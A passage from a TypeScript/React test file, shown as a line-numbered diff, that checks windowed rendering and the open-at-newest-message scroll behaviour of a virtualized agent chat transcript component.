-
const scrollElement = container.querySelector('div[style*="overflow: auto"]')
|
|
1118
|
-
if (scrollElement === null)
|
|
1119
|
-
throw new Error('expected the virtualizer scroll container to exist')
|
|
1120
|
-
;(scrollElement as HTMLElement).scrollTop = Number.MAX_SAFE_INTEGER
|
|
1121
|
-
fireEvent.scroll(scrollElement)
|
|
1122
|
-
|
|
1123
|
-
await waitFor(() => {
|
|
1124
|
-
expect(screen.queryByText('streaming reply')).not.toBeNull()
|
|
1125
|
-
})
|
|
1126
|
-
|
|
1127
|
-
// 80 settled + 1 live = 81 total; still windowed even scrolled to the tail.
|
|
1128
|
-
const renderedCount = container.querySelectorAll('[data-testid^="agent-message-"]').length
|
|
1129
|
-
expect(renderedCount).toBeGreaterThan(0)
|
|
1130
|
-
expect(renderedCount).toBeLessThan(81)
|
|
1131
|
-
})
|
|
1132
|
-
|
|
1133
|
-
test('the non-virtual path is unchanged — every message renders, unwindowed', () => {
|
|
1134
|
-
const messages = manyMessages(12)
|
|
1135
|
-
const { container } = render(
|
|
1136
|
-
<MantineProvider>
|
|
1137
|
-
<ThreadTranscript messages={messages} />
|
|
1138
|
-
</MantineProvider>,
|
|
1139
|
-
)
|
|
1140
|
-
|
|
1141
|
-
expect(container.querySelectorAll('[data-testid^="agent-message-"]').length).toBe(12)
|
|
1142
|
-
})
|
|
1143
|
-
|
|
1144
|
-
test('the optional-peer-absent degrade target renders every row unwindowed, and never throws', () => {
|
|
1145
|
-
const rows = Array.from({ length: 30 }, (_, i) => ({
|
|
1146
|
-
key: `fallback-row-${i}`,
|
|
1147
|
-
node: <div data-testid={`fallback-row-${i}`}>{`row ${i}`}</div>,
|
|
1148
|
-
}))
|
|
1149
|
-
|
|
1150
|
-
let container: HTMLElement | undefined
|
|
1151
|
-
expect(() => {
|
|
1152
|
-
;({ container } = render(
|
|
1153
|
-
<MantineProvider>
|
|
1154
|
-
<VirtualizeFallback
|
|
1155
|
-
rows={rows}
|
|
1156
|
-
height={300}
|
|
1157
|
-
overscan={6}
|
|
1158
|
-
estimateSize={96}
|
|
1159
|
-
initialScroll="end"
|
|
1160
|
-
/>
|
|
1161
|
-
</MantineProvider>,
|
|
1162
|
-
))
|
|
1163
|
-
}).not.toThrow()
|
|
1164
|
-
|
|
1165
|
-
expect(container).toBeDefined()
|
|
1166
|
-
expect(container?.querySelectorAll('[data-testid^="fallback-row-"]').length).toBe(30)
|
|
1167
|
-
expect(screen.getByTestId('fallback-row-0')).toBeDefined()
|
|
1168
|
-
expect(screen.getByTestId('fallback-row-29')).toBeDefined()
|
|
1169
|
-
})
|
|
1170
|
-
|
|
1171
|
-
// happy-dom has no scroll engine, so scroll POSITION can't be asserted (see the module-level
|
|
1172
|
-
// comment on the first test above). What CAN be asserted, genuinely, is the SCROLL INTENT: a
|
|
1173
|
-
// spy on `Element.prototype.scrollTo` — the exact DOM entry point `virtual-core`'s `elementScroll`
|
|
1174
|
-
// calls at the bottom of `scrollToEnd()` (verified against the installed 3.17.1 source; happy-dom
|
|
1175
|
-
// implements `scrollTo` as a real, synchronous `scrollTop` write for the `'auto'`/default
|
|
1176
|
-
// behavior this effect uses, so the spy observes a genuine call, not a no-op the DOM silently
|
|
1177
|
-
// swallows). This is the boundary the brief asks for: a fake/spy at the edge, not a pretended
|
|
1178
|
-
// observation of scroll position.
|
|
1179
|
-
describe('the default open-at-the-newest-message jump (VirtualizeOptions.initialScroll)', () => {
|
|
1180
|
-
test('fires once the lazy virtualizer mounts', async () => {
|
|
1181
|
-
const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
|
|
1182
|
-
const messages = manyMessages(60)
|
|
1183
|
-
const { container } = render(
|
|
1184
|
-
<MantineProvider>
|
|
1185
|
-
<ThreadTranscript messages={messages} virtualize height={300} />
|
|
1186
|
-
</MantineProvider>,
|
|
1187
|
-
)
|
|
1188
|
-
|
|
1189
|
-
await waitFor(() => {
|
|
1190
|
-
expect(
|
|
1191
|
-
container.querySelectorAll('[data-testid^="agent-message-"]').length,
|
|
1192
|
-
).toBeGreaterThan(0)
|
|
1193
|
-
})
|
|
1194
|
-
expect(autoBehaviorCalls(scrollToSpy)).toBeGreaterThan(0)
|
|
1195
|
-
|
|
1196
|
-
scrollToSpy.mockRestore()
|
|
1197
|
-
})
|
|
1198
|
-
|
|
1199
|
-
test('a virtualizer that mounted behind a hidden ancestor lands the jump on the commit that makes it measurable', async () => {
|
|
1200
|
-
// The reachable version of `virtualize.ts`'s third+fourth composition rules meeting: the
|
|
1201
|
-
// lazy `import('@tanstack/react-virtual')` settles ASYNCHRONOUSLY, so a `ThreadFeedRow`
|
|
1202
|
-
// collapsed during that window mounts `VirtualizedRowsInner` behind `display: none` — every
|
|
1203
|
-
// measurement reads 0, and the commit that later un-hides the body changes neither the row
|
|
1204
|
-
// count nor the virtualizer identity. A dependency-keyed effect never re-runs for that
|
|
1205
|
-
// commit, which stranded the transcript at message #0 for the rest of the row's life.
|
|
1206
|
-
// happy-dom has no per-element layout to hide, so the describe block's 300px prototype stub
|
|
1207
|
-
// is overridden to 0 to reach the same state, then restored to stand in for the re-expand.
|
|
1208
|
-
Object.defineProperty(HTMLElement.prototype, 'offsetHeight', { configurable: true, value: 0 })
|
|
1209
|
-
const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
|
|
1210
|
-
const messages = manyMessages(60)
|
|
1211
|
-
// A FRESH element on every render pass: React bails out of re-rendering a subtree whose
|
|
1212
|
-
// element object is reference-identical to the previous one, which would skip the very
|
|
1213
|
-
// commit this test is about.
|
|
1214
|
-
const tree = () => (
|
|
1215
|
-
<MantineProvider>
|
|
1216
|
-
<ThreadTranscript messages={messages} virtualize height={300} />
|
|
1217
|
-
</MantineProvider>
|
|
1218
|
-
)
|
|
1219
|
-
const { container, rerender } = render(tree())
|
|
1220
|
-
|
|
1221
|
-
// A 0px viewport windows to no rows at all, so wait on the real virtualizer's sizer instead
|
|
1222
|
-
// (same signal the empty-transcript test below uses).
|
|
1223
|
-
await waitFor(() => {
|
|
1224
|
-
expect(container.querySelector('div[style*="overflow: auto"] > div')).not.toBeNull()
|
|
1225
|
-
})
|
|
1226
|
-
expect(autoBehaviorCalls(scrollToSpy)).toBe(0)
|
|
1227
|
-
|
|
1228
|
-
Object.defineProperty(HTMLElement.prototype, 'offsetHeight', {
|
|
1229
|
-
configurable: true,
|
|
1230
|
-
value: 300,
|
|
1231
|
-
})
|
|
1232
|
-
rerender(tree())
|
|
1233
|
-
|
|
1234
|
-
expect(autoBehaviorCalls(scrollToSpy)).toBeGreaterThan(0)
|
|
1235
|
-
|
|
1236
|
-
scrollToSpy.mockRestore()
|
|
1237
|
-
})
|
|
1238
|
-
|
|
1239
|
-
test('initialScroll: "start" suppresses the jump entirely', async () => {
|
|
1240
|
-
const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
|
|
1241
|
-
const messages = manyMessages(200)
|
|
1242
|
-
const { container } = render(
|
|
1243
|
-
<MantineProvider>
|
|
1244
|
-
<ThreadTranscript
|
|
1245
|
-
messages={messages}
|
|
1246
|
-
virtualize={{ initialScroll: 'start' }}
|
|
1247
|
-
height={300}
|
|
1248
|
-
/>
|
|
1249
|
-
</MantineProvider>,
|
|
1250
|
-
)
|
|
1251
|
-
|
|
1252
|
-
await waitFor(() => {
|
|
1253
|
-
expect(
|
|
1254
|
-
container.querySelectorAll('[data-testid^="agent-message-"]').length,
|
|
1255
|
-
).toBeGreaterThan(0)
|
|
1256
|
-
})
|
|
1257
|
-
expect(autoBehaviorCalls(scrollToSpy)).toBe(0)
|
|
1258
|
-
|
|
1259
|
-
scrollToSpy.mockRestore()
|
|
1260
|
-
})
|
|
1261
|
-
|
|
1262
|
-
test('an empty transcript never scrolls, and never throws', async () => {
|
|
1263
|
-
const scrollToSpy = spyOn(Element.prototype, 'scrollTo')
|
|
1264
|
-
|
|
1265
|
-
let container: HTMLElement | undefined
|
|
1266
|
-
expect(() => {
|
|
1267
|
-
;({ container } = render(
|
|
1268
|
-
<MantineProvider>
|
|
1269
|
-
<ThreadTranscript messages={[]} virtualize height={300} />
|
|
1270
|
-
</MantineProvider>,
|
|
1271
|
-
))
|
|
1272
|
-
}).not.toThrow()
|
|
1273
|
-
|
|
1274
|
-
// No message rows ever exist to wait on, so instead wait for the REAL virtualizer's nested
|
|
1275
|
-
// sizer `Box` (present only once `LazyVirtualizedRows` — not `VirtualizeSuspenseFallback`,
|
|
1276
|
-
// which renders a single childless pane — has mounted).
|
|
1277
|
-
await waitFor(() => {
|
|
1278
|
-
expect(container?.querySelector('div[style*="overflow: auto"] > div')).not.toBeNull()
|
|
1279
|
-
})
|
|
1280
|
-
expect(autoBehaviorCalls(scrollToSpy)).toBe(0)
|
|
1281
|
-
|
|
1282
|
-
scrollToSpy.mockRestore()
|
|
1283
|
-
})
|
|
1284
|
-
})
|
|
1285
|
-
})
|